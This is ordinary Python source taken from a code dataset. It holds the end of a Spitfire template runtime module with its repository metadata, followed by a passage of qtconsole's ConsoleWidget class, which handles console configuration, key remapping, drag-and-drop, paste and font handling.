def has_var(self, name):
var = self.get_var(name, default=UnresolvedPlaceholder)
return var is not UnresolvedPlaceholder
# wrap the underlying filter call so that items don't get filtered multiple
# times (avoids double escaping)
# fixme: this could be a hotspot, having to call getattr all the time seems
# like it might be a bit pokey
def filter_function(self, value, placeholder_function=None):
#print "filter_function", placeholder_function, self._filter_function, "value: '%s'" % value
if (placeholder_function is not None and
getattr(placeholder_function, 'skip_filter', False)):
return value
else:
value = self._filter_function(value)
return value
@staticmethod
def new_buffer():
return BufferIO()
def enable_psyco(template_class):
try:
import psyco
except ImportError:
pass
else:
psyco.bind(SpitfireTemplate)
psyco.bind(template_class)
def template_method(function):
function.template_method = True
function.skip_filter = True
return function
| {
"repo_name": "eklitzke/spitfire",
"path": "spitfire/runtime/template.py",
"copies": "1",
"size": "2584",
"license": "bsd-3-clause",
"hash": 533414386481137400,
"line_mean": 31.3,
"line_max": 96,
"alpha_frac": 0.7267801858,
"autogenerated": false,
"ratio": 3.921092564491654,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5147872750291653,
"avg_score": null,
"num_lines": null
} |
"""An abstract base class for console-type widgets."""
# Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
from functools import partial
import os
import os.path
import re
import sys
from textwrap import dedent
import time
from unicodedata import category
import webbrowser
from qtpy import QtCore, QtGui, QtPrintSupport, QtWidgets
from traitlets.config.configurable import LoggingConfigurable
from qtconsole.rich_text import HtmlExporter
from qtconsole.util import MetaQObjectHasTraits, get_font, superQ
from ipython_genutils.text import columnize
from traitlets import Bool, Enum, Integer, Unicode
from .ansi_code_processor import QtAnsiCodeProcessor
from .completion_widget import CompletionWidget
from .completion_html import CompletionHtml
from .completion_plain import CompletionPlain
from .kill_ring import QtKillRing
def is_letter_or_number(char):
""" Returns whether the specified unicode character is a letter or a number.
"""
cat = category(char)
return cat.startswith('L') or cat.startswith('N')
def is_whitespace(char):
"""Check whether a given char counts as white space."""
return category(char).startswith('Z')
#-----------------------------------------------------------------------------
# Classes
#-----------------------------------------------------------------------------
class ConsoleWidget(MetaQObjectHasTraits('NewBase', (LoggingConfigurable, superQ(QtWidgets.QWidget)), {})):
""" An abstract base class for console-type widgets. This class has
functionality for:
* Maintaining a prompt and editing region
* Providing the traditional Unix-style console keyboard shortcuts
* Performing tab completion
* Paging text
* Handling ANSI escape codes
ConsoleWidget also provides a number of utility methods that will be
convenient to implementors of a console-style widget.
"""
#------ Configuration ------------------------------------------------------
ansi_codes = Bool(True, config=True,
help="Whether to process ANSI escape codes."
)
buffer_size = Integer(500, config=True,
help="""
The maximum number of lines of text before truncation. Specifying a
non-positive number disables text truncation (not recommended).
"""
)
execute_on_complete_input = Bool(True, config=True,
help="""Whether to automatically execute on syntactically complete input.
If False, Shift-Enter is required to submit each execution.
Disabling this is mainly useful for non-Python kernels,
where the completion check would be wrong.
"""
)
gui_completion = Enum(['plain', 'droplist', 'ncurses'], config=True,
default_value = 'ncurses',
help="""
The type of completer to use. Valid values are:
'plain' : Show the available completion as a text list
Below the editing area.
'droplist': Show the completion in a drop down list navigable
by the arrow keys, and from which you can select
completion by pressing Return.
'ncurses' : Show the completion as a text list which is navigable by
`tab` and arrow keys.
"""
)
# NOTE: this value can only be specified during initialization.
kind = Enum(['plain', 'rich'], default_value='plain', config=True,
help="""
The type of underlying text widget to use. Valid values are 'plain',
which specifies a QPlainTextEdit, and 'rich', which specifies a
QTextEdit.
"""
)
# NOTE: this value can only be specified during initialization.
paging = Enum(['inside', 'hsplit', 'vsplit', 'custom', 'none'],
default_value='inside', config=True,
help="""
The type of paging to use. Valid values are:
'inside'
The widget pages like a traditional terminal.
'hsplit'
When paging is requested, the widget is split horizontally. The top
pane contains the console, and the bottom pane contains the paged text.
'vsplit'
Similar to 'hsplit', except that a vertical splitter is used.
'custom'
No action is taken by the widget beyond emitting a
'custom_page_requested(str)' signal.
'none'
The text is written directly to the console.
""")
scrollbar_visibility = Bool(True, config=True,
help="""The visibility of the scrollar. If False then the scrollbar will be
invisible."""
)
font_family = Unicode(config=True,
help="""The font family to use for the console.
On OSX this defaults to Monaco, on Windows the default is
Consolas with fallback of Courier, and on other platforms
the default is Monospace.
""")
def _font_family_default(self):
if sys.platform == 'win32':
# Consolas ships with Vista/Win7, fallback to Courier if needed
return 'Consolas'
elif sys.platform == 'darwin':
# OSX always has Monaco, no need for a fallback
return 'Monaco'
else:
# Monospace should always exist, no need for a fallback
return 'Monospace'
font_size = Integer(config=True,
help="""The font size. If unconfigured, Qt will be entrusted
with the size of the font.
""")
console_width = Integer(81, config=True,
help="""The width of the console at start time in number
of characters (will double with `hsplit` paging)
""")
console_height = Integer(25, config=True,
help="""The height of the console at start time in number
of characters (will double with `vsplit` paging)
""")
# Whether to override ShortcutEvents for the keybindings defined by this
# widget (Ctrl+n, Ctrl+a, etc). Enable this if you want this widget to take
# priority (when it has focus) over, e.g., window-level menu shortcuts.
override_shortcuts = Bool(False)
# ------ Custom Qt Widgets -------------------------------------------------
# For other projects to easily override the Qt widgets used by the console
# (e.g. Spyder)
custom_control = None
custom_page_control = None
#------ Signals ------------------------------------------------------------
# Signals that indicate ConsoleWidget state.
copy_available = QtCore.Signal(bool)
redo_available = QtCore.Signal(bool)
undo_available = QtCore.Signal(bool)
# Signal emitted when paging is needed and the paging style has been
# specified as 'custom'.
custom_page_requested = QtCore.Signal(object)
# Signal emitted when the font is changed.
font_changed = QtCore.Signal(QtGui.QFont)
#------ Protected class variables ------------------------------------------
# control handles
_control = None
_page_control = None
_splitter = None
# When the control key is down, these keys are mapped.
_ctrl_down_remap = { QtCore.Qt.Key_B : QtCore.Qt.Key_Left,
QtCore.Qt.Key_F : QtCore.Qt.Key_Right,
QtCore.Qt.Key_A : QtCore.Qt.Key_Home,
QtCore.Qt.Key_P : QtCore.Qt.Key_Up,
QtCore.Qt.Key_N : QtCore.Qt.Key_Down,
QtCore.Qt.Key_H : QtCore.Qt.Key_Backspace, }
if not sys.platform == 'darwin':
# On OS X, Ctrl-E already does the right thing, whereas End moves the
# cursor to the bottom of the buffer.
_ctrl_down_remap[QtCore.Qt.Key_E] = QtCore.Qt.Key_End
# The shortcuts defined by this widget. We need to keep track of these to
# support 'override_shortcuts' above.
_shortcuts = set(_ctrl_down_remap.keys()) | \
{ QtCore.Qt.Key_C, QtCore.Qt.Key_G, QtCore.Qt.Key_O,
QtCore.Qt.Key_V }
_temp_buffer_filled = False
#---------------------------------------------------------------------------
# 'QObject' interface
#---------------------------------------------------------------------------
def __init__(self, parent=None, **kw):
""" Create a ConsoleWidget.
Parameters
----------
parent : QWidget, optional [default None]
The parent for this widget.
"""
super(ConsoleWidget, self).__init__(**kw)
if parent:
self.setParent(parent)
self._is_complete_msg_id = None
self._is_complete_timeout = 0.1
self._is_complete_max_time = None
# While scrolling the pager on Mac OS X, it tears badly. The
# NativeGesture is platform and perhaps build-specific hence
# we take adequate precautions here.
self._pager_scroll_events = [QtCore.QEvent.Wheel]
if hasattr(QtCore.QEvent, 'NativeGesture'):
self._pager_scroll_events.append(QtCore.QEvent.NativeGesture)
# Create the layout and underlying text widget.
layout = QtWidgets.QStackedLayout(self)
layout.setContentsMargins(0, 0, 0, 0)
self._control = self._create_control()
if self.paging in ('hsplit', 'vsplit'):
self._splitter = QtWidgets.QSplitter()
if self.paging == 'hsplit':
self._splitter.setOrientation(QtCore.Qt.Horizontal)
else:
self._splitter.setOrientation(QtCore.Qt.Vertical)
self._splitter.addWidget(self._control)
layout.addWidget(self._splitter)
else:
layout.addWidget(self._control)
# Create the paging widget, if necessary.
if self.paging in ('inside', 'hsplit', 'vsplit'):
self._page_control = self._create_page_control()
if self._splitter:
self._page_control.hide()
self._splitter.addWidget(self._page_control)
else:
layout.addWidget(self._page_control)
# Initialize protected variables. Some variables contain useful state
# information for subclasses; they should be considered read-only.
self._append_before_prompt_cursor = self._control.textCursor()
self._ansi_processor = QtAnsiCodeProcessor()
if self.gui_completion == 'ncurses':
self._completion_widget = CompletionHtml(self)
elif self.gui_completion == 'droplist':
self._completion_widget = CompletionWidget(self)
elif self.gui_completion == 'plain':
self._completion_widget = CompletionPlain(self)
self._continuation_prompt = '> '
self._continuation_prompt_html = None
self._executing = False
self._filter_resize = False
self._html_exporter = HtmlExporter(self._control)
self._input_buffer_executing = ''
self._input_buffer_pending = ''
self._kill_ring = QtKillRing(self._control)
self._prompt = ''
self._prompt_html = None
self._prompt_cursor = self._control.textCursor()
self._prompt_sep = ''
self._reading = False
self._reading_callback = None
self._tab_width = 4
# List of strings pending to be appended as plain text in the widget.
# The text is not immediately inserted when available to not
# choke the Qt event loop with paint events for the widget in
# case of lots of output from kernel.
self._pending_insert_text = []
# Timer to flush the pending stream messages. The interval is adjusted
# later based on actual time taken for flushing a screen (buffer_size)
# of output text.
self._pending_text_flush_interval = QtCore.QTimer(self._control)
self._pending_text_flush_interval.setInterval(100)
self._pending_text_flush_interval.setSingleShot(True)
self._pending_text_flush_interval.timeout.connect(
self._on_flush_pending_stream_timer)
# Set a monospaced font.
self.reset_font()
# Configure actions.
action = QtWidgets.QAction('Print', None)
action.setEnabled(True)
printkey = QtGui.QKeySequence(QtGui.QKeySequence.Print)
if printkey.matches("Ctrl+P") and sys.platform != 'darwin':
# Only override the default if there is a collision.
# Qt ctrl = cmd on OSX, so the match gets a false positive on OSX.
printkey = "Ctrl+Shift+P"
action.setShortcut(printkey)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.print_)
self.addAction(action)
self.print_action = action
action = QtWidgets.QAction('Save as HTML/XML', None)
action.setShortcut(QtGui.QKeySequence.Save)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.export_html)
self.addAction(action)
self.export_action = action
action = QtWidgets.QAction('Select All', None)
action.setEnabled(True)
selectall = QtGui.QKeySequence(QtGui.QKeySequence.SelectAll)
if selectall.matches("Ctrl+A") and sys.platform != 'darwin':
# Only override the default if there is a collision.
# Qt ctrl = cmd on OSX, so the match gets a false positive on OSX.
selectall = "Ctrl+Shift+A"
action.setShortcut(selectall)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.select_all_smart)
self.addAction(action)
self.select_all_action = action
self.increase_font_size = QtWidgets.QAction("Bigger Font",
self,
shortcut=QtGui.QKeySequence.ZoomIn,
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Increase the font size by one point",
triggered=self._increase_font_size)
self.addAction(self.increase_font_size)
self.decrease_font_size = QtWidgets.QAction("Smaller Font",
self,
shortcut=QtGui.QKeySequence.ZoomOut,
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Decrease the font size by one point",
triggered=self._decrease_font_size)
self.addAction(self.decrease_font_size)
self.reset_font_size = QtWidgets.QAction("Normal Font",
self,
shortcut="Ctrl+0",
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Restore the Normal font size",
triggered=self.reset_font)
self.addAction(self.reset_font_size)
# Accept drag and drop events here. Drops were already turned off
# in self._control when that widget was created.
self.setAcceptDrops(True)
#---------------------------------------------------------------------------
# Drag and drop support
#---------------------------------------------------------------------------
def dragEnterEvent(self, e):
if e.mimeData().hasUrls():
# The link action should indicate to that the drop will insert
# the file anme.
e.setDropAction(QtCore.Qt.LinkAction)
e.accept()
elif e.mimeData().hasText():
# By changing the action to copy we don't need to worry about
# the user accidentally moving text around in the widget.
e.setDropAction(QtCore.Qt.CopyAction)
e.accept()
def dragMoveEvent(self, e):
if e.mimeData().hasUrls():
pass
elif e.mimeData().hasText():
cursor = self._control.cursorForPosition(e.pos())
if self._in_buffer(cursor.position()):
e.setDropAction(QtCore.Qt.CopyAction)
self._control.setTextCursor(cursor)
else:
e.setDropAction(QtCore.Qt.IgnoreAction)
e.accept()
def dropEvent(self, e):
if e.mimeData().hasUrls():
self._keep_cursor_in_buffer()
cursor = self._control.textCursor()
filenames = [url.toLocalFile() for url in e.mimeData().urls()]
text = ', '.join("'" + f.replace("'", "'\"'\"'") + "'"
for f in filenames)
self._insert_plain_text_into_buffer(cursor, text)
elif e.mimeData().hasText():
cursor = self._control.cursorForPosition(e.pos())
if self._in_buffer(cursor.position()):
text = e.mimeData().text()
self._insert_plain_text_into_buffer(cursor, text)
def eventFilter(self, obj, event):
""" Reimplemented to ensure a console-like behavior in the underlying
text widgets.
"""
etype = event.type()
if etype == QtCore.QEvent.KeyPress:
# Re-map keys for all filtered widgets.
key = event.key()
if self._control_key_down(event.modifiers()) and \
key in self._ctrl_down_remap:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
self._ctrl_down_remap[key],
QtCore.Qt.NoModifier)
QtWidgets.qApp.sendEvent(obj, new_event)
return True
elif obj == self._control:
return self._event_filter_console_keypress(event)
elif obj == self._page_control:
return self._event_filter_page_keypress(event)
# Make middle-click paste safe.
elif getattr(event, 'button', False) and \
etype == QtCore.QEvent.MouseButtonRelease and \
event.button() == QtCore.Qt.MidButton and \
obj == self._control.viewport():
cursor = self._control.cursorForPosition(event.pos())
self._control.setTextCursor(cursor)
self.paste(QtGui.QClipboard.Selection)
return True
# Manually adjust the scrollbars *after* a resize event is dispatched.
elif etype == QtCore.QEvent.Resize and not self._filter_resize:
self._filter_resize = True
QtWidgets.QApplication.instance().sendEvent(obj, event)
self._adjust_scrollbars()
self._filter_resize = False
return True
# Override shortcuts for all filtered widgets.
elif etype == QtCore.QEvent.ShortcutOverride and \
self.override_shortcuts and \
self._control_key_down(event.modifiers()) and \
event.key() in self._shortcuts:
event.accept()
# Handle scrolling of the vsplit pager. This hack attempts to solve
# problems with tearing of the help text inside the pager window. This
# happens only on Mac OS X with both PySide and PyQt. This fix isn't
# perfect but makes the pager more usable.
elif etype in self._pager_scroll_events and \
obj == self._page_control:
self._page_control.repaint()
return True
elif etype == QtCore.QEvent.MouseMove:
anchor = self._control.anchorAt(event.pos())
QtWidgets.QToolTip.showText(event.globalPos(), anchor)
return super(ConsoleWidget, self).eventFilter(obj, event)
#---------------------------------------------------------------------------
# 'QWidget' interface
#---------------------------------------------------------------------------
def sizeHint(self):
""" Reimplemented to suggest a size that is 80 characters wide and
25 lines high.
"""
font_metrics = QtGui.QFontMetrics(self.font)
margin = (self._control.frameWidth() +
self._control.document().documentMargin()) * 2
style = self.style()
splitwidth = style.pixelMetric(QtWidgets.QStyle.PM_SplitterWidth)
# Note 1: Despite my best efforts to take the various margins into
# account, the width is still coming out a bit too small, so we include
# a fudge factor of one character here.
# Note 2: QFontMetrics.maxWidth is not used here or anywhere else due
# to a Qt bug on certain Mac OS systems where it returns 0.
width = font_metrics.width(' ') * self.console_width + margin
width += style.pixelMetric(QtWidgets.QStyle.PM_ScrollBarExtent)
if self.paging == 'hsplit':
width = width * 2 + splitwidth
height = font_metrics.height() * self.console_height + margin
if self.paging == 'vsplit':
height = height * 2 + splitwidth
return QtCore.QSize(int(width), int(height))
#---------------------------------------------------------------------------
# 'ConsoleWidget' public interface
#---------------------------------------------------------------------------
include_other_output = Bool(False, config=True,
help="""Whether to include output from clients
other than this one sharing the same kernel.
Outputs are not displayed until enter is pressed.
"""
)
other_output_prefix = Unicode('[remote] ', config=True,
help="""Prefix to add to outputs coming from clients other than this one.
Only relevant if include_other_output is True.
"""
)
def can_copy(self):
""" Returns whether text can be copied to the clipboard.
"""
return self._control.textCursor().hasSelection()
def can_cut(self):
""" Returns whether text can be cut to the clipboard.
"""
cursor = self._control.textCursor()
return (cursor.hasSelection() and
self._in_buffer(cursor.anchor()) and
self._in_buffer(cursor.position()))
def can_paste(self):
""" Returns whether text can be pasted from the clipboard.
"""
if self._control.textInteractionFlags() & QtCore.Qt.TextEditable:
return bool(QtWidgets.QApplication.clipboard().text())
return False
def clear(self, keep_input=True):
""" Clear the console.
Parameters
----------
keep_input : bool, optional (default True)
If set, restores the old input buffer if a new prompt is written.
"""
if self._executing:
self._control.clear()
else:
if keep_input:
input_buffer = self.input_buffer
self._control.clear()
self._show_prompt()
if keep_input:
self.input_buffer = input_buffer
def copy(self):
""" Copy the currently selected text to the clipboard.
"""
self.layout().currentWidget().copy()
def copy_anchor(self, anchor):
""" Copy anchor text to the clipboard
"""
QtWidgets.QApplication.clipboard().setText(anchor)
def cut(self):
""" Copy the currently selected text to the clipboard and delete it
if it's inside the input buffer.
"""
self.copy()
if self.can_cut():
self._control.textCursor().removeSelectedText()
def _handle_is_complete_reply(self, msg):
if msg['parent_header'].get('msg_id', 0) != self._is_complete_msg_id:
return
status = msg['content'].get('status', u'complete')
indent = msg['content'].get('indent', u'')
self._trigger_is_complete_callback(status != 'incomplete', indent)
def _trigger_is_complete_callback(self, complete=False, indent=u''):
if self._is_complete_msg_id is not None:
self._is_complete_msg_id = None
self._is_complete_callback(complete, indent)
def _register_is_complete_callback(self, source, callback):
if self._is_complete_msg_id is not None:
if self._is_complete_max_time < time.time():
# Second return while waiting for is_complete
return
else:
# request timed out
self._trigger_is_complete_callback()
self._is_complete_max_time = time.time() + self._is_complete_timeout
self._is_complete_callback = callback
self._is_complete_msg_id = self.kernel_client.is_complete(source)
def execute(self, source=None, hidden=False, interactive=False):
""" Executes source or the input buffer, possibly prompting for more
input.
Parameters
----------
source : str, optional
The source to execute. If not specified, the input buffer will be
used. If specified and 'hidden' is False, the input buffer will be
replaced with the source before execution.
hidden : bool, optional (default False)
If set, no output will be shown and the prompt will not be modified.
In other words, it will be completely invisible to the user that
an execution has occurred.
interactive : bool, optional (default False)
Whether the console is to treat the source as having been manually
entered by the user. The effect of this parameter depends on the
subclass implementation.
Raises
------
RuntimeError
If incomplete input is given and 'hidden' is True. In this case,
it is not possible to prompt for more input.
Returns
-------
A boolean indicating whether the source was executed.
"""
# WARNING: The order in which things happen here is very particular, in
# large part because our syntax highlighting is fragile. If you change
# something, test carefully!
# Decide what to execute.
if source is None:
source = self.input_buffer
elif not hidden:
self.input_buffer = source
if hidden:
self._execute(source, hidden)
# Execute the source or show a continuation prompt if it is incomplete.
elif interactive and self.execute_on_complete_input:
self._register_is_complete_callback(
source, partial(self.do_execute, source))
else:
self.do_execute(source, True, '')
def do_execute(self, source, complete, indent):
if complete:
self._append_plain_text('\n')
self._input_buffer_executing = self.input_buffer
self._executing = True
self._finalize_input_request()
# Perform actual execution.
self._execute(source, False)
else:
# Do this inside an edit block so continuation prompts are
# removed seamlessly via undo/redo.
cursor = self._get_end_cursor()
cursor.beginEditBlock()
try:
cursor.insertText('\n')
self._insert_continuation_prompt(cursor, indent)
finally:
cursor.endEditBlock()
# Do not do this inside the edit block. It works as expected
# when using a QPlainTextEdit control, but does not have an
# effect when using a QTextEdit. I believe this is a Qt bug.
self._control.moveCursor(QtGui.QTextCursor.End)
def export_html(self):
""" Shows a dialog to export HTML/XML in various formats.
"""
self._html_exporter.export()
def _finalize_input_request(self):
"""
Set the widget to a non-reading state.
"""
# Must set _reading to False before calling _prompt_finished
self._reading = False
self._prompt_finished()
# There is no prompt now, so before_prompt_position is eof
self._append_before_prompt_cursor.setPosition(
self._get_end_cursor().position())
# The maximum block count is only in effect during execution.
# This ensures that _prompt_pos does not become invalid due to
# text truncation.
self._control.document().setMaximumBlockCount(self.buffer_size)
# Setting a positive maximum block count will automatically
# disable the undo/redo history, but just to be safe:
self._control.setUndoRedoEnabled(False)
def _get_input_buffer(self, force=False):
""" The text that the user has entered entered at the current prompt.
If the console is currently executing, the text that is executing will
always be returned.
"""
# If we're executing, the input buffer may not even exist anymore due to
# the limit imposed by 'buffer_size'. Therefore, we store it.
if self._executing and not force:
return self._input_buffer_executing
cursor = self._get_end_cursor()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
input_buffer = cursor.selection().toPlainText()
# Strip out continuation prompts.
return input_buffer.replace('\n' + self._continuation_prompt, '\n')
def _set_input_buffer(self, string):
""" Sets the text in the input buffer.
If the console is currently executing, this call has no *immediate*
effect. When the execution is finished, the input buffer will be updated
appropriately.
"""
# If we're executing, store the text for later.
if self._executing:
self._input_buffer_pending = string
return
# Remove old text.
cursor = self._get_end_cursor()
cursor.beginEditBlock()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
# Insert new text with continuation prompts.
self._insert_plain_text_into_buffer(self._get_prompt_cursor(), string)
cursor.endEditBlock()
self._control.moveCursor(QtGui.QTextCursor.End)
input_buffer = property(_get_input_buffer, _set_input_buffer)
def _get_font(self):
""" The base font being used by the ConsoleWidget.
"""
return self._control.document().defaultFont()
def _set_font(self, font):
""" Sets the base font for the ConsoleWidget to the specified QFont.
"""
font_metrics = QtGui.QFontMetrics(font)
self._control.setTabStopWidth(self.tab_width * font_metrics.width(' '))
self._completion_widget.setFont(font)
self._control.document().setDefaultFont(font)
if self._page_control:
self._page_control.document().setDefaultFont(font)
self.font_changed.emit(font)
font = property(_get_font, _set_font)
def open_anchor(self, anchor):
""" Open selected anchor in the default webbrowser
"""
webbrowser.open( anchor )
def paste(self, mode=QtGui.QClipboard.Clipboard):
""" Paste the contents of the clipboard into the input region.
Parameters
----------
mode : QClipboard::Mode, optional [default QClipboard::Clipboard]
Controls which part of the system clipboard is used. This can be
used to access the selection clipboard in X11 and the Find buffer
in Mac OS. By default, the regular clipboard is used.
"""
if self._control.textInteractionFlags() & QtCore.Qt.TextEditable:
# Make sure the paste is safe.
self._keep_cursor_in_buffer()
cursor = self._control.textCursor()
# Remove any trailing newline, which confuses the GUI and forces the
# user to backspace.
text = QtWidgets.QApplication.clipboard().text(mode).rstrip()
# dedent removes "common leading whitespace" but to preserve relative
# indent of multiline code, we have to compensate for any
# leading space on the first line, if we're pasting into
# an indented position.
cursor_offset = cursor.position() - self._get_line_start_pos()
if text.startswith(' ' * cursor_offset):
text = text[cursor_offset:]
self._insert_plain_text_into_buffer(cursor, dedent(text))
def print_(self, printer = None):
""" Print the contents of the ConsoleWidget to the specified QPrinter.
"""
if (not printer):
printer = QtPrintSupport.QPrinter()
if(QtPrintSupport.QPrintDialog(printer).exec_() != QtPrintSupport.QPrintDialog.Accepted):
return
self._control.print_(printer)
def prompt_to_top(self):
""" Moves the prompt to the top of the viewport.
"""
if not self._executing:
prompt_cursor = self._get_prompt_cursor()
if self._get_cursor().blockNumber() < prompt_cursor.blockNumber():
self._set_cursor(prompt_cursor)
self._set_top_cursor(prompt_cursor)
def redo(self):
""" Redo the last operation. If there is no operation to redo, nothing
happens.
"""
self._control.redo()
def reset_font(self):
""" Sets the font to the default fixed-width font for this platform.
"""
if sys.platform == 'win32':
# Consolas ships with Vista/Win7, fallback to Courier if needed
fallback = 'Courier'
elif sys.platform == 'darwin':
# OSX always has Monaco
fallback = 'Monaco'
else:
# Monospace should always exist
fallback = 'Monospace'
font = get_font(self.font_family, fallback)
if self.font_size:
font.setPointSize(self.font_size)
else:
font.setPointSize(QtWidgets.QApplication.instance().font().pointSize())
font.setStyleHint(QtGui.QFont.TypeWriter)
self._set_font(font)
def change_font_size(self, delta):
"""Change the font size by the specified amount (in points).
"""
font = self.font
size = max(font.pointSize() + delta, 1) # minimum 1 point
font.setPointSize(size)
self._set_font(font)
def _increase_font_size(self):
self.change_font_size(1)
def _decrease_font_size(self):
self.change_font_size(-1)
def select_all_smart(self):
""" Select current cell, or, if already selected, the whole document.
"""
c = self._get_cursor()
sel_range = c.selectionStart(), c.selectionEnd()
c.clearSelection()
c.setPosition(self._get_prompt_cursor().position())
c.setPosition(self._get_end_pos(),
mode=QtGui.QTextCursor.KeepAnchor)
new_sel_range = c.selectionStart(), c.selectionEnd()
if sel_range == new_sel_range:
# cell already selected, expand selection to whole document
self.select_document()
else:
# set cell selection as active selection
self._control.setTextCursor(c)
def select_document(self):
""" Selects all the text in the buffer.
"""
self._control.selectAll()
def _get_tab_width(self):
""" The width (in terms of space characters) for tab characters.
"""
return self._tab_width
def _set_tab_width(self, tab_width):
""" Sets the width (in terms of space characters) for tab characters.
"""
font_metrics = QtGui.QFontMetrics(self.font)
self._control.setTabStopWidth(tab_width * font_metrics.width(' '))
self._tab_width = tab_width
tab_width = property(_get_tab_width, _set_tab_width)
def undo(self):
""" Undo the last operation. If there is no operation to undo, nothing
happens.
"""
self._control.undo()
#---------------------------------------------------------------------------
# 'ConsoleWidget' abstract interface
#---------------------------------------------------------------------------
def _is_complete(self, source, interactive):
""" Returns whether 'source' can be executed. When triggered by an
Enter/Return key press, 'interactive' is True; otherwise, it is
False.
"""
raise NotImplementedError
def _execute(self, source, hidden):
""" Execute 'source'. If 'hidden', do not show any output.
"""
raise NotImplementedError
def _prompt_started_hook(self):
""" Called immediately after a new prompt is displayed.
"""
pass
def _prompt_finished_hook(self):
""" Called immediately after a prompt is finished, i.e. when some input
will be processed and a new prompt displayed.
"""
pass
def _up_pressed(self, shift_modifier):
""" Called when the up key is pressed. Returns whether to continue
processing the event.
"""
return True
def _down_pressed(self, shift_modifier):
""" Called when the down key is pressed. Returns whether to continue
processing the event.
"""
return True
def _tab_pressed(self):
""" Called when the tab key is pressed. Returns whether to continue
processing the event.
"""
return True
#--------------------------------------------------------------------------
# 'ConsoleWidget' protected interface
#--------------------------------------------------------------------------
def _append_custom(self, insert, input, before_prompt=False, *args, **kwargs):
""" A low-level method for appending content to the end of the buffer.
If 'before_prompt' is enabled, the content will be inserted before the
current prompt, if there is one.
"""
# Determine where to insert the content.
cursor = self._control.textCursor()
if before_prompt and (self._reading or not self._executing):
self._flush_pending_stream()
cursor.setPosition(self._append_before_prompt_pos)
else:
if insert != self._insert_plain_text:
self._flush_pending_stream()
cursor.movePosition(QtGui.QTextCursor.End)
# Perform the insertion.
result = insert(cursor, input, *args, **kwargs)
return result
def _append_block(self, block_format=None, before_prompt=False):
""" Appends an new QTextBlock to the end of the console buffer.
"""
self._append_custom(self._insert_block, block_format, before_prompt)
def _append_html(self, html, before_prompt=False):
""" Appends HTML at the end of the console buffer.
"""
self._append_custom(self._insert_html, html, before_prompt)
def _append_html_fetching_plain_text(self, html, before_prompt=False):
""" Appends HTML, then returns the plain text version of it.
"""
return self._append_custom(self._insert_html_fetching_plain_text,
html, before_prompt)
def _append_plain_text(self, text, before_prompt=False):
""" Appends plain text, processing ANSI codes if enabled.
"""
self._append_custom(self._insert_plain_text, text, before_prompt)
def _cancel_completion(self):
""" If text completion is progress, cancel it.
"""
self._completion_widget.cancel_completion()
def _clear_temporary_buffer(self):
""" Clears the "temporary text" buffer, i.e. all the text following
the prompt region.
"""
# Select and remove all text below the input buffer.
cursor = self._get_prompt_cursor()
prompt = self._continuation_prompt.lstrip()
if(self._temp_buffer_filled):
self._temp_buffer_filled = False
while cursor.movePosition(QtGui.QTextCursor.NextBlock):
temp_cursor = QtGui.QTextCursor(cursor)
temp_cursor.select(QtGui.QTextCursor.BlockUnderCursor)
text = temp_cursor.selection().toPlainText().lstrip()
if not text.startswith(prompt):
break
else:
# We've reached the end of the input buffer and no text follows.
return
cursor.movePosition(QtGui.QTextCursor.Left) # Grab the newline.
cursor.movePosition(QtGui.QTextCursor.End,
QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
# After doing this, we have no choice but to clear the undo/redo
# history. Otherwise, the text is not "temporary" at all, because it
# can be recalled with undo/redo. Unfortunately, Qt does not expose
# fine-grained control to the undo/redo system.
if self._control.isUndoRedoEnabled():
self._control.setUndoRedoEnabled(False)
self._control.setUndoRedoEnabled(True)
def _complete_with_items(self, cursor, items):
""" Performs completion with 'items' at the specified cursor location.
"""
self._cancel_completion()
if len(items) == 1:
cursor.setPosition(self._control.textCursor().position(),
QtGui.QTextCursor.KeepAnchor)
cursor.insertText(items[0])
elif len(items) > 1:
current_pos = self._control.textCursor().position()
prefix = os.path.commonprefix(items)
if prefix:
cursor.setPosition(current_pos, QtGui.QTextCursor.KeepAnchor)
cursor.insertText(prefix)
current_pos = cursor.position()
self._completion_widget.show_items(cursor, items,
prefix_length=len(prefix))
def _fill_temporary_buffer(self, cursor, text, html=False):
"""fill the area below the active editting zone with text"""
current_pos = self._control.textCursor().position()
cursor.beginEditBlock()
self._append_plain_text('\n')
self._page(text, html=html)
cursor.endEditBlock()
cursor.setPosition(current_pos)
self._control.moveCursor(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
self._temp_buffer_filled = True
def _context_menu_make(self, pos):
""" Creates a context menu for the given QPoint (in widget coordinates).
"""
menu = QtWidgets.QMenu(self)
self.cut_action = menu.addAction('Cut', self.cut)
self.cut_action.setEnabled(self.can_cut())
self.cut_action.setShortcut(QtGui.QKeySequence.Cut)
self.copy_action = menu.addAction('Copy', self.copy)
self.copy_action.setEnabled(self.can_copy())
self.copy_action.setShortcut(QtGui.QKeySequence.Copy)
self.paste_action = menu.addAction('Paste', self.paste)
self.paste_action.setEnabled(self.can_paste())
self.paste_action.setShortcut(QtGui.QKeySequence.Paste)
anchor = self._control.anchorAt(pos)
if anchor:
menu.addSeparator()
self.copy_link_action = menu.addAction(
'Copy Link Address', lambda: self.copy_anchor(anchor=anchor))
self.open_link_action = menu.addAction(
'Open Link', lambda: self.open_anchor(anchor=anchor))
menu.addSeparator()
menu.addAction(self.select_all_action)
menu.addSeparator()
menu.addAction(self.export_action)
menu.addAction(self.print_action)
return menu
def _control_key_down(self, modifiers, include_command=False):
""" Given a KeyboardModifiers flags object, return whether the Control
key is down.
Parameters
----------
include_command : bool, optional (default True)
Whether to treat the Command key as a (mutually exclusive) synonym
for Control when in Mac OS.
"""
# Note that on Mac OS, ControlModifier corresponds to the Command key
# while MetaModifier corresponds to the Control key.
if sys.platform == 'darwin':
down = include_command and (modifiers & QtCore.Qt.ControlModifier)
